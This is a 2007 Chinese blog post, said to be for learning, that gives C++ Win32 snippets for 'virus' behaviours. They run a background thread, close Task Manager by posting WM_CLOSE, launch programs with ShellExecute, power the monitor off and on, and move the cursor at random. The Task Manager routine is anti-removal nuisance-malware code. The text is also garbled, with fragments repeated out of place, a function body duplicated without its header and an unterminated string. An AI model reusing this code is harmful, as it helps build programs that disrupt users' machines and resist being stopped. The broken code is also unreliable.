用c++,寫小型病毒
這個只是為了學習,要是搞破壞的請走開。
通過代碼片段我們展示一些病毒行為。
1. 建立線程運行其他可執行文件
2.關閉任務管理器或者其他窗口
3.ShellExecute的用法
4.打開關閉顯示器
5.使鼠標亂跑
1. 建立一個線程 ( CreateThread() )
DWORD WINAPI DestroyWindows(LPVOID)
{
//your code would go here
}
int main()
{
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Sleep(10);
}
}
{
//your code would go here
}
int main()
{
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Sleep(10);
}
}
2. 關閉任務管理器或者其他窗口
TaskMgr = FindWindow(NULL,"Windows Task Manager");
if( TaskMgr != NULL )
{
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( TaskMgr != NULL )
{
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
程序發出關閉任務管理器的的消息,并不等待繼續執行下面的代碼
3. ShellExcute
char Notepad[MAX_PATH]="notepad.exe";
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
打開記事本。也可以通過以下代碼打開google.
char Website[MAX_PATH] = "http:\\www.google.com
4. 打開關閉顯示器
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
Sleep(5000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
Sleep(5000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
5. 鼠標亂跑
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
Y = rand()%601;
SetCursorPos( X, Y );
posted on 2007-08-02 08:12 AlanTop 閱讀(5752) 評論(14) 編輯 收藏 引用 所屬分類: VC++